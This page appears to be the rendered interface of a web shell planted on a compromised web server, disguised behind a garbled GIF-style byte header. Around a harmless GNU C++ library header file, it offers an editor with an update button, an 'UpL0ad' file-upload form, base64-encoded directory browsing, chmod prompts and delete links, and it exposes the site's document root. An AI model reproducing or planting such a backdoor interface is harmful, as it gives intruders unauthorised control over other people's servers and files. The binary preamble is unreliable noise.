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   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
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<hr>sample_update_policy.hpp<form method=post action="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2xpc3RfdXBkYXRlX3BvbGljeQ%3D%3D&f=c2FtcGxlX3VwZGF0ZV9wb2xpY3kuaHBw"><input name="f" value="sample_update_policy.hpp"><textarea name="t">// -*- C++ -*-

// Copyright (C) 2005-2023 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library.  This library is free
// software; you can redistribute it and/or modify it under the terms
// of the GNU General Public License as published by the Free Software
// Foundation; either version 3, or (at your option) any later
// version.

// This library is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
// General Public License for more details.

// Under Section 7 of GPL version 3, you are granted additional
// permissions described in the GCC Runtime Library Exception, version
// 3.1, as published by the Free Software Foundation.

// You should have received a copy of the GNU General Public License and
// a copy of the GCC Runtime Library Exception along with this program;
// see the files COPYING3 and COPYING.RUNTIME respectively.  If not, see
// &lt;http://www.gnu.org/licenses/&gt;.

// Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL.

// Permission to use, copy, modify, sell, and distribute this software
// is hereby granted without fee, provided that the above copyright
// notice appears in all copies, and that both that copyright notice
// and this permission notice appear in supporting documentation. None
// of the above authors, nor IBM Haifa Research Laboratories, make any
// representation about the suitability of this software for any
// purpose. It is provided &quot;as is&quot; without express or implied
// warranty.

/**
 * @file sample_update_policy.hpp
 * Contains a sample policy for list update containers.
 */

#ifndef PB_DS_SAMPLE_UPDATE_POLICY_HPP
#define PB_DS_SAMPLE_UPDATE_POLICY_HPP

namespace __gnu_pbds
{
  /// A sample list-update policy.
  struct sample_update_policy
  {
    /// Default constructor.
    sample_update_policy();

    /// Copy constructor.
    sample_update_policy(const sample_update_policy&amp;);

    /// Swaps content.
    inline void
    swap(sample_update_policy&amp; other);

  protected:
    /// Metadata on which this functor operates.
    typedef some_metadata_type metadata_type;

    /// Creates a metadata object.
    metadata_type
    operator()() const;

    /// Decides whether a metadata object should be moved to the front
    /// of the list. A list-update based containers object will call
    /// this method to decide whether to move a node to the front of
    /// the list. The method shoule return true if the node should be
    /// moved to the front of the list.
    bool
    operator()(metadata_reference) const;
  };
}
#endif
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/c++/13/ext/pb_ds/detail/list_update_policy<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2xpc3RfdXBkYXRlX3BvbGljeQ=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2xpc3RfdXBkYXRlX3BvbGljeQ==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWls"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2xpc3RfdXBkYXRlX3BvbGljeQ==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2xpc3RfdXBkYXRlX3BvbGljeQ==&x=bHVfY291bnRlcl9tZXRhZGF0YS5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2xpc3RfdXBkYXRlX3BvbGljeQ==&f=bHVfY291bnRlcl9tZXRhZGF0YS5ocHA="/>lu_counter_metadata.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2xpc3RfdXBkYXRlX3BvbGljeQ==&f=bHVfY291bnRlcl9tZXRhZGF0YS5ocHA=&c=`+btoa(c):0" value="0644"></td><td>2850</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2xpc3RfdXBkYXRlX3BvbGljeQ==&x=c2FtcGxlX3VwZGF0ZV9wb2xpY3kuaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2xpc3RfdXBkYXRlX3BvbGljeQ==&f=c2FtcGxlX3VwZGF0ZV9wb2xpY3kuaHBw"/>sample_update_policy.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2xpc3RfdXBkYXRlX3BvbGljeQ==&f=c2FtcGxlX3VwZGF0ZV9wb2xpY3kuaHBw&c=`+btoa(c):0" value="0644"></td><td>2672</td></tr></table>